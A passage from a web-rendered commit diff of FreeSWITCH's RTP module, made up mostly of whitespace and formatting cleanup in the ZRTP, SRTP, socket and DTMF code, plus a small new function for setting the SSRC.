</span><span class="cx">                                         switch_channel_set_variable_name_printf(channel, stream->session->sas2.buffer, "zrtp_sas2_string", type);
</span><del>-                                        
-                                        zrtp_verified_set(zrtp_global, &stream->session->zid,
-                                                                         &stream->session->peer_zid, zrtp_session_info.sas_is_verified^1);
-                                        
</del><ins>+
+                                        zrtp_verified_set(zrtp_global, &stream->session->zid, &stream->session->peer_zid, zrtp_session_info.sas_is_verified ^ 1);
+
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (!switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)) {
</span><span class="cx">                                 switch_core_session_t *session = switch_core_memory_pool_get_data(rtp_session->pool, "__session");
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (session) {
</span><span class="cx">                                         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">                                         switch_rtp_t *video_rtp_session = switch_channel_get_private(channel, "__zrtp_video_rtp_session");
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!video_rtp_session) {
</span><span class="cx">                                                 video_rtp_session = switch_channel_get_private_partner(channel, "__zrtp_video_rtp_session");
</span><span class="cx">                                         }
</span><span class="lines">@@ -491,12 +489,13 @@
</span><span class="cx">                                                         zrtp_stream_start(video_rtp_session->zrtp_stream, video_rtp_session->ssrc);
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                }                                
</del><ins>+                                }
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (switch_event_create(&fsevent, SWITCH_EVENT_CALL_SECURE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_event_add_header(fsevent, SWITCH_STACK_BOTTOM, "secure_media_type", "%s", type);
</span><del>-                                switch_event_add_header(fsevent, SWITCH_STACK_BOTTOM, "secure_type", "zrtp:%s:%s", stream->session->sas1.buffer, stream->session->sas2.buffer);
</del><ins>+                                switch_event_add_header(fsevent, SWITCH_STACK_BOTTOM, "secure_type", "zrtp:%s:%s", stream->session->sas1.buffer,
+                                                                                stream->session->sas2.buffer);
</ins><span class="cx">                                 switch_event_add_header_string(fsevent, SWITCH_STACK_BOTTOM, "caller-unique-id", switch_channel_get_uuid(channel));
</span><span class="cx">                                 switch_event_fire(&fsevent);
</span><span class="cx">                         }
</span><span class="lines">@@ -522,11 +521,10 @@
</span><span class="cx">                 {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "User already enrolled!\n");
</span><span class="cx">                         switch_channel_set_variable_name_printf(channel, "true", "zrtp_already_enrolled_%s", type);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (zrtp_status_ok == zrtp_session_get(stream->session, &zrtp_session_info)) {
</span><span class="cx">                                 if (zrtp_session_info.sas_is_ready) {
</span><del>-                                        zrtp_verified_set(zrtp_global, &stream->session->zid,
-                                                                         &stream->session->peer_zid, zrtp_session_info.sas_is_verified^1);
</del><ins>+                                        zrtp_verified_set(zrtp_global, &stream->session->zid, &stream->session->peer_zid, zrtp_session_info.sas_is_verified ^ 1);
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -539,22 +537,20 @@
</span><span class="cx">
</span><span class="cx">                         if (zrtp_status_ok == zrtp_session_get(stream->session, &zrtp_session_info)) {
</span><span class="cx">                                 if (zrtp_session_info.sas_is_ready) {
</span><del>-                                        zrtp_verified_set(zrtp_global, &stream->session->zid,
-                                                                         &stream->session->peer_zid, zrtp_session_info.sas_is_verified^1);
</del><ins>+                                        zrtp_verified_set(zrtp_global, &stream->session->zid, &stream->session->peer_zid, zrtp_session_info.sas_is_verified ^ 1);
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><del>-                
</del><ins>+
</ins><span class="cx">         case ZRTP_EVENT_USER_UNENROLLED:
</span><span class="cx">                 {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "User unenrolled!\n");
</span><span class="cx">                         switch_channel_set_variable_name_printf(channel, "true", "zrtp_user_unenrolled_%s", type);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (zrtp_status_ok == zrtp_session_get(stream->session, &zrtp_session_info)) {
</span><span class="cx">                                 if (zrtp_session_info.sas_is_ready) {
</span><del>-                                        zrtp_verified_set(zrtp_global, &stream->session->zid,
-                                                                         &stream->session->peer_zid, zrtp_session_info.sas_is_verified^1);
</del><ins>+                                        zrtp_verified_set(zrtp_global, &stream->session->zid, &stream->session->peer_zid, zrtp_session_info.sas_is_verified ^ 1);
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -608,23 +604,24 @@
</span><span class="cx">                 zrtp_config.is_mitm = 1;
</span><span class="cx">                 zrtp_config.lic_mode = ZRTP_LICENSE_MODE_ACTIVE;
</span><span class="cx">                 switch_snprintf(zrtp_cache_path, sizeof(zrtp_cache_path), "%s%szrtp.dat", SWITCH_GLOBAL_dirs.db_dir, SWITCH_PATH_SEPARATOR);
</span><del>-                zrtp_zstrcpyc( ZSTR_GV(zrtp_config.def_cache_path), zrtp_cache_path);
</del><ins>+                zrtp_zstrcpyc(ZSTR_GV(zrtp_config.def_cache_path), zrtp_cache_path);
</ins><span class="cx">                 zrtp_config.cb.event_cb.on_zrtp_protocol_event = zrtp_event_callback;
</span><span class="cx">                 zrtp_config.cb.misc_cb.on_send_packet = zrtp_send_rtp_callback;
</span><span class="cx">                 zrtp_config.cb.event_cb.on_zrtp_security_event = zrtp_event_callback;
</span><del>-                
-                zrtp_log_set_log_engine((zrtp_log_engine*)zrtp_logger);
</del><ins>+
+                zrtp_log_set_log_engine((zrtp_log_engine *) zrtp_logger);
</ins><span class="cx">                 zrtp_log_set_level(4);
</span><span class="cx">                 if (zrtp_status_ok == zrtp_init(&zrtp_config, &zrtp_global)) {
</span><del>-                
</del><ins>+
</ins><span class="cx">                         memcpy(zid, zid_string, 12);
</span><del>-                        switch_scheduler_add_task(switch_epoch_time_now(NULL) + 900, zrtp_cache_save_callback, "zrtp_cache_save", "core", 0, NULL, SSHF_NONE | SSHF_NO_DEL);
</del><ins>+                        switch_scheduler_add_task(switch_epoch_time_now(NULL) + 900, zrtp_cache_save_callback, "zrtp_cache_save", "core", 0, NULL,
+                                                                         SSHF_NONE | SSHF_NO_DEL);
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_core_set_variable("zrtp_enabled", NULL);
</span><span class="cx">                         zrtp_on = 0;
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "ZRTP init failed!\n");
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="cx">         srtp_init();
</span><span class="lines">@@ -642,15 +639,15 @@
</span><span class="cx"> {
</span><span class="cx">         switch_core_port_allocator_t *alloc = NULL;
</span><span class="cx">         switch_hash_index_t *hi;
</span><del>- const void *var;
- void *val;
</del><ins>+        const void *var;
+        void *val;
</ins><span class="cx">
</span><span class="cx">         switch_mutex_lock(port_lock);
</span><span class="cx">
</span><span class="cx">         for (hi = switch_hash_first(NULL, alloc_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                 switch_hash_this(hi, &var, NULL, &val);
</span><span class="cx">                 if ((alloc = (switch_core_port_allocator_t *) val)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Destroy port allocator for %s\n", (char *)var);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Destroy port allocator for %s\n", (char *) var);
</ins><span class="cx">                         switch_core_port_allocator_destroy(&alloc);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -840,7 +837,7 @@
</span><span class="cx">                 switch_set_flag_locked(rtp_session, SWITCH_RTP_FLAG_NOBLOCK);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_socket_create_pollfd(&rtp_session->read_pollfd, rtp_session->sock_input, SWITCH_POLLIN | SWITCH_POLLERR, rtp_session->pool);        
</del><ins>+        switch_socket_create_pollfd(&rtp_session->read_pollfd, rtp_session->sock_input, SWITCH_POLLIN | SWITCH_POLLERR, rtp_session->pool);
</ins><span class="cx">
</span><span class="cx">         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         *err = "Success";
</span><span class="lines">@@ -867,8 +864,8 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_rtp_set_max_missed_packets(switch_rtp_t *rtp_session, uint32_t max)
</span><span class="cx"> {
</span><span class="cx">         if (rtp_session->missed_count >= max) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
-                                                 "new max missed packets(%d->%d) greater than current missed packets(%d). RTP will timeout.\n",
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                 "new max missed packets(%d->%d) greater than current missed packets(%d). RTP will timeout.\n",
</ins><span class="cx">                                                  rtp_session->missed_count, max, rtp_session->missed_count);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -891,7 +888,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_rtp_set_remote_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_rtp_set_remote_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port,
</ins><span class="cx">                                                                                                                          switch_bool_t change_adv_addr, const char **err)
</span><span class="cx"> {
</span><span class="cx">         switch_sockaddr_t *remote_addr;
</span><span class="lines">@@ -912,21 +909,15 @@
</span><span class="cx">                 rtp_session->remote_port = port;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (rtp_session->sock_input &&
-                switch_sockaddr_get_family(rtp_session->remote_addr) ==
-                switch_sockaddr_get_family(rtp_session->local_addr)) {
-                        rtp_session->sock_output = rtp_session->sock_input;
-        }
-        else {
-                if (rtp_session->sock_output &&
-                        rtp_session->sock_output != rtp_session->sock_input) {
-                                switch_socket_close(rtp_session->sock_output);
</del><ins>+        if (rtp_session->sock_input && switch_sockaddr_get_family(rtp_session->remote_addr) == switch_sockaddr_get_family(rtp_session->local_addr)) {
+                rtp_session->sock_output = rtp_session->sock_input;
+        } else {
+                if (rtp_session->sock_output && rtp_session->sock_output != rtp_session->sock_input) {
+                        switch_socket_close(rtp_session->sock_output);
</ins><span class="cx">                 }
</span><span class="cx">                 if ((status = switch_socket_create(&rtp_session->sock_output,
</span><del>-                        switch_sockaddr_get_family(rtp_session->remote_addr),
-                        SOCK_DGRAM, 0, rtp_session->pool)) !=
-                        SWITCH_STATUS_SUCCESS)
-                {
</del><ins>+                                                                                 switch_sockaddr_get_family(rtp_session->remote_addr),
+                                                                                 SOCK_DGRAM, 0, rtp_session->pool)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         *err = "Socket Error!";
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -967,7 +958,7 @@
</span><span class="cx">         rtp_session->crypto_keys[direction] = crypto_key;
</span><span class="cx">
</span><span class="cx">         memset(policy, 0, sizeof(*policy));
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch (crypto_key->type) {
</span><span class="cx">         case AES_CM_128_HMAC_SHA1_80:
</span><span class="cx">                 crypto_policy_set_aes_cm_128_hmac_sha1_80(&policy->rtp);
</span><span class="lines">@@ -1058,7 +1049,8 @@
</span><span class="cx">         rtp_session->ms_per_packet = ms_per_packet;
</span><span class="cx">         rtp_session->samples_per_interval = rtp_session->conf_samples_per_interval = samples_per_interval;
</span><span class="cx">         rtp_session->missed_count = 0;
</span><del>-        rtp_session->samples_per_second = (uint32_t)((double)(1000.0f / (double)(rtp_session->ms_per_packet / 1000)) * (double)rtp_session->samples_per_interval);
</del><ins>+        rtp_session->samples_per_second =
+                (uint32_t) ((double) (1000.0f / (double) (rtp_session->ms_per_packet / 1000)) * (double) rtp_session->samples_per_interval);
</ins><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -1067,13 +1059,13 @@
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         int change_timer = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (rtp_session->ms_per_packet && rtp_session->ms_per_packet != ms_per_packet) {
</span><span class="cx">                 change_timer = 1;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_rtp_set_interval(rtp_session, ms_per_packet, samples_per_interval);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (change_timer && rtp_session->timer_name) {
</span><span class="cx">                 READ_INC(rtp_session);
</span><span class="cx">                 WRITE_INC(rtp_session);
</span><span class="lines">@@ -1081,8 +1073,8 @@
</span><span class="cx">                 if (rtp_session->timer.timer_interface) {
</span><span class="cx">                         switch_core_timer_destroy(&rtp_session->timer);
</span><span class="cx">                 }
</span><del>-                if ((status = switch_core_timer_init(&rtp_session->timer,
-                                                                                         rtp_session->timer_name, ms_per_packet / 1000,
</del><ins>+                if ((status = switch_core_timer_init(&rtp_session->timer,
+                                                                                         rtp_session->timer_name, ms_per_packet / 1000,
</ins><span class="cx">                                                                                          samples_per_interval, rtp_session->pool)) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
</span><span class="cx">                                                          "RE-Starting timer [%s] %d bytes per %dms\n", rtp_session->timer_name, samples_per_interval, ms_per_packet);
</span><span class="lines">@@ -1095,10 +1087,18 @@
</span><span class="cx">                 WRITE_DEC(rtp_session);
</span><span class="cx">                 READ_DEC(rtp_session);
</span><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><ins>+SWITCH_DECLARE(switch_status_t) switch_rtp_set_ssrc(switch_rtp_t *rtp_session, uint32_t ssrc)
+{
+        rtp_session->ssrc = ssrc;
+        rtp_session->send_msg.header.ssrc = htonl(rtp_session->ssrc);
+
+        return SWITCH_STATUS_SUCCESS;
+}
+
</ins><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_rtp_create(switch_rtp_t **new_rtp_session,
</span><span class="cx">                                                                                                  switch_payload_t payload,
</span><span class="cx">                                                                                                  uint32_t samples_per_interval,
</span><span class="lines">@@ -1201,14 +1201,15 @@
</span><span class="cx">                 const char *srtp_enabled = switch_channel_get_variable(channel, "sip_secure_media");
</span><span class="cx">
</span><span class="cx">                 if (switch_true(srtp_enabled) && switch_true(zrtp_enabled)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "You can not have ZRTP and SRTP enabled simultaneously, ZRTP will be disabled for this call!\n");
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+                                                         "You can not have ZRTP and SRTP enabled simultaneously, ZRTP will be disabled for this call!\n");
</ins><span class="cx">                         switch_channel_set_variable(channel, "zrtp_secure_media", NULL);
</span><span class="cx">                         zrtp_enabled = NULL;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_true(zrtp_enabled)) {
</span><del>-                        if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)){
</del><ins>+                        if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)) {
</ins><span class="cx">                                 switch_channel_set_private(channel, "__zrtp_video_rtp_session", rtp_session);
</span><span class="cx">                                 master_rtp_session = switch_channel_get_private(channel, "__zrtp_audio_rtp_session");
</span><span class="cx">                         } else {
</span><span class="lines">@@ -1224,25 +1225,25 @@
</span><span class="cx">                         if (rtp_session == master_rtp_session) {
</span><span class="cx">                                 rtp_session->zrtp_profile = switch_core_alloc(rtp_session->pool, sizeof(*rtp_session->zrtp_profile));
</span><span class="cx">                                 zrtp_profile_defaults(rtp_session->zrtp_profile, zrtp_global);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 rtp_session->zrtp_profile->allowclear = 0;
</span><span class="cx">                                 rtp_session->zrtp_profile->disclose_bit = 0;
</span><span class="cx">                                 rtp_session->zrtp_profile->cache_ttl = -1;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 if (zrtp_status_ok != zrtp_session_init(zrtp_global, rtp_session->zrtp_profile, zid, initiator, &rtp_session->zrtp_session)) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error! zRTP INIT Failed\n");
</span><span class="cx">                                         zrtp_session_down(rtp_session->zrtp_session);
</span><span class="cx">                                         rtp_session->zrtp_session = NULL;
</span><span class="cx">                                         goto end;
</span><span class="cx">                                 }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 zrtp_session_set_userdata(rtp_session->zrtp_session, session);
</span><del>-                        
-                        
</del><ins>+
+
</ins><span class="cx">                                 if (zrtp_status_ok != zrtp_stream_attach(master_rtp_session->zrtp_session, &rtp_session->zrtp_stream)) {
</span><span class="cx">                                         abort();
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 zrtp_stream_set_userdata(rtp_session->zrtp_stream, rtp_session);
</span><span class="cx">
</span><span class="cx">                                 if (switch_true(switch_channel_get_variable(channel, "zrtp_enrollment"))) {
</span><span class="lines">@@ -1251,13 +1252,13 @@
</span><span class="cx">                                         zrtp_stream_start(rtp_session->zrtp_stream, rtp_session->ssrc);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><del>-#endif        
</del><ins>+#endif
</ins><span class="cx">
</span><span class="cx">         rtp_session->ready = 1;
</span><span class="cx">         *new_rtp_session = rtp_session;
</span><span class="lines">@@ -1344,10 +1345,10 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_rtp_activate_stun_ping(switch_rtp_t *rtp_session, const char *stun_ip, switch_port_t stun_port,
</span><span class="cx">                                                                                                                          uint32_t packet_count, switch_bool_t funny)
</span><span class="cx"> {
</span><del>-        
-        if (switch_sockaddr_info_get(&rtp_session->remote_stun_addr, stun_ip, SWITCH_UNSPEC,
</del><ins>+
+        if (switch_sockaddr_info_get(&rtp_session->remote_stun_addr, stun_ip, SWITCH_UNSPEC,
</ins><span class="cx">                                                                  stun_port, 0, rtp_session->pool) != SWITCH_STATUS_SUCCESS || !rtp_session->remote_stun_addr) {
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error resolving stun ping addr\n");
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -1408,7 +1409,7 @@
</span><span class="cx">         switch_mutex_lock(rtp_session->flag_mutex);
</span><span class="cx">         switch_set_flag(rtp_session, SWITCH_RTP_FLAG_BREAK);
</span><span class="cx">         switch_set_flag(rtp_session, SWITCH_RTP_FLAG_FLUSH);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_NOBLOCK)) {
</span><span class="cx">                 switch_mutex_unlock(rtp_session->flag_mutex);
</span><span class="cx">                 return;
</span><span class="lines">@@ -1446,7 +1447,8 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(rtp_session->flag_mutex);
</span><del>-        ret = (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_IO) && rtp_session->sock_input && rtp_session->sock_output && rtp_session->remote_addr && rtp_session->ready == 2) ? 1 : 0;
</del><ins>+        ret = (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_IO) && rtp_session->sock_input && rtp_session->sock_output && rtp_session->remote_addr
+                 && rtp_session->ready == 2) ? 1 : 0;
</ins><span class="cx">         switch_mutex_unlock(rtp_session->flag_mutex);
</span><span class="cx">
</span><span class="cx">         return ret;
</span><span class="lines">@@ -1491,7 +1493,7 @@
</span><span class="cx">         (*rtp_session)->sock_input = NULL;
</span><span class="cx">         switch_socket_close(sock);
</span><span class="cx">
</span><del>-        if ( (*rtp_session)->sock_output != sock ) {
</del><ins>+        if ((*rtp_session)->sock_output != sock) {
</ins><span class="cx">                 sock = (*rtp_session)->sock_output;
</span><span class="cx">                 (*rtp_session)->sock_output = NULL;
</span><span class="cx">                 switch_socket_close(sock);
</span><span class="lines">@@ -1614,7 +1616,7 @@
</span><span class="cx">
</span><span class="cx">                 for (x = 0; x < loops; x++) {
</span><span class="cx">                         switch_size_t wrote = switch_rtp_write_manual(rtp_session,
</span><del>-                                                                                                                 rtp_session->dtmf_data.out_digit_packet, 4, 0,
</del><ins>+                                                                                                                 rtp_session->dtmf_data.out_digit_packet, 4, 0,
</ins><span class="cx">                                                                                                                  rtp_session->te, rtp_session->dtmf_data.timestamp_dtmf, &flags);
</span><span class="cx">
</span><span class="cx">                         rtp_session->stats.outbound.raw_bytes += wrote;
</span><span class="lines">@@ -1675,13 +1677,13 @@
</span><span class="cx">                                         rtp_session->dtmf_data.timestamp_dtmf = (uint32_t) (rtp_session->dtmf_data.timestamp_dtmf + offset);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         wrote = switch_rtp_write_manual(rtp_session,
</span><span class="cx">                                                                                         rtp_session->dtmf_data.out_digit_packet,
</span><span class="cx">                                                                                         4,
</span><span class="cx">                                                                                         rtp_session->rtp_bugs & RTP_BUG_CISCO_SKIP_MARK_BIT_2833 ? 0 : 1,
</span><span class="cx">                                                                                         rtp_session->te, rtp_session->dtmf_data.timestamp_dtmf, &flags);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         rtp_session->stats.outbound.raw_bytes += wrote;
</span><span class="cx">                         rtp_session->stats.outbound.dtmf_packet_count++;
</span><span class="cx">
</span><span class="lines">@@ -1722,7 +1724,7 @@
</span><span class="cx">         if (!switch_rtp_ready(rtp_session) || switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PROXY_MEDIA)) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         READ_INC(rtp_session);
</span><span class="cx">
</span><span class="cx">         if (switch_rtp_ready(rtp_session)) {
</span><span class="lines">@@ -1733,19 +1735,18 @@
</span><span class="cx">                                 switch_clear_flag(rtp_session, SWITCH_RTP_FLAG_DEBUG_RTP_READ);
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "RTP HAS NO SESSION!\n");
</span><span class="cx">                         } else {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session),
-                                                                 SWITCH_LOG_CONSOLE, "%s FLUSH\n",
-                                                                 switch_channel_get_name(switch_core_session_get_channel(session))
-                                                                 );
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session),
+                                                                 SWITCH_LOG_CONSOLE, "%s FLUSH\n", switch_channel_get_name(switch_core_session_get_channel(session))
+                                        );
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (!switch_test_flag(rtp_session, SWITCH_RTP_FLAG_NOBLOCK)) {
</span><span class="cx">                         was_blocking = 1;
</span><del>-                        switch_set_flag_locked(rtp_session, SWITCH_RTP_FLAG_NOBLOCK);                
</del><ins>+                        switch_set_flag_locked(rtp_session, SWITCH_RTP_FLAG_NOBLOCK);
</ins><span class="cx">                         switch_socket_opt_set(rtp_session->sock_input, SWITCH_SO_NONBLOCK, TRUE);
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 do {
</span><span class="cx">                         if (switch_rtp_ready(rtp_session)) {
</span><span class="cx">                                 bytes = sizeof(rtp_msg_t);
</span><span class="lines">@@ -1758,14 +1759,14 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><del>-                } while(bytes > 0);
-                
</del><ins>+                } while (bytes > 0);
+
</ins><span class="cx">                 if (was_blocking && switch_rtp_ready(rtp_session)) {
</span><span class="cx">                         switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_NOBLOCK);
</span><span class="cx">                         switch_socket_opt_set(rtp_session->sock_input, SWITCH_SO_NONBLOCK, FALSE);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         READ_DEC(rtp_session);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1775,7 +1776,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         stfu_frame_t *jb_frame;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(bytes);
</span><span class="cx">
</span><span class="cx">         *bytes = sizeof(rtp_msg_t);
</span><span class="lines">@@ -1791,7 +1792,7 @@
</span><span class="cx">                         rtp_session->stats.inbound.media_packet_count++;
</span><span class="cx">                         rtp_session->stats.inbound.media_bytes += *bytes;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 rtp_session->stats.inbound.packet_count++;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1804,9 +1805,9 @@
</span><span class="cx">                 if (rtp_session->recv_msg.header.m && rtp_session->recv_msg.header.pt != rtp_session->te) {
</span><span class="cx">                         stfu_n_reset(rtp_session->jb);
</span><span class="cx">                 }
</span><del>-                
-                stfu_n_eat(rtp_session->jb, ntohl(rtp_session->recv_msg.header.ts), rtp_session->recv_msg.header.pt,
-                                 rtp_session->recv_msg.body, *bytes - rtp_header_len);                                
</del><ins>+
+                stfu_n_eat(rtp_session->jb, ntohl(rtp_session->recv_msg.header.ts), rtp_session->recv_msg.header.pt,
+                                 rtp_session->recv_msg.body, *bytes - rtp_header_len);
</ins><span class="cx">                 *bytes = 0;
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -1867,7 +1868,7 @@
</span><span class="cx">                                 rtp_session->read_pollfd) {
</span><span class="cx">                                 if (switch_poll(rtp_session->read_pollfd, 1, &fdr, 0) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         rtp_session->hot_hits += rtp_session->samples_per_interval;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (rtp_session->hot_hits >= rtp_session->samples_per_second * 5) {
</span><span class="cx">                                                 switch_set_flag(rtp_session, SWITCH_RTP_FLAG_FLUSH);
</span><span class="cx">                                                 hot_socket = 1;
</span><span class="lines">@@ -1883,8 +1884,8 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 if (rtp_session->sync_packets) {
</span><span class="cx"> #if 0
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-                                                                         "Auto-Flush catching up %d packets (%d)ms.\n",
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+                                                                         "Auto-Flush catching up %d packets (%d)ms.\n",
</ins><span class="cx">                                                                          rtp_session->sync_packets, (rtp_session->ms_per_packet * rtp_session->sync_packets) / 1000);
</span><span class="cx"> #endif
</span><span class="cx">                                         rtp_session->sync_packets = 0;
</span><span class="lines">@@ -1893,7 +1894,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-        recvfrom:
</del><ins>+         recvfrom:
</ins><span class="cx">                 bytes = 0;
</span><span class="cx">
</span><span class="cx">                 if (!switch_rtp_ready(rtp_session)) {
</span><span class="lines">@@ -1910,8 +1911,8 @@
</span><span class="cx">                         if (rtp_session->dtmf_data.out_digit_dur > 0) {
</span><span class="cx">                                 do_2833(rtp_session);
</span><span class="cx">                         }
</span><del>-                }
-                
</del><ins>+                }
+
</ins><span class="cx">                 if (poll_status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         status = read_rtp_packet(rtp_session, &bytes, flags);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -1921,7 +1922,7 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         poll_loop = 1;
</span><del>-                        rtp_session->missed_count += (poll_sec * 1000 ) / (rtp_session->ms_per_packet ? rtp_session->ms_per_packet / 1000 : 20 );
</del><ins>+                        rtp_session->missed_count += (poll_sec * 1000) / (rtp_session->ms_per_packet ? rtp_session->ms_per_packet / 1000 : 20);
</ins><span class="cx">                         bytes = 0;
</span><span class="cx">
</span><span class="cx">                         if (rtp_session->max_missed_packets) {
</span><span class="lines">@@ -1951,8 +1952,8 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 check = !bytes;
</span><del>-                
-                if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_BREAK) || (bytes && bytes == 4 && *((int *)&rtp_session->recv_msg) == UINT_MAX)) {
</del><ins>+
+                if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_BREAK) || (bytes && bytes == 4 && *((int *) &rtp_session->recv_msg) == UINT_MAX)) {
</ins><span class="cx">                         switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_BREAK);
</span><span class="cx">                         do_2833(rtp_session);
</span><span class="cx">                         bytes = 0;
</span><span class="lines">@@ -1964,7 +1965,7 @@
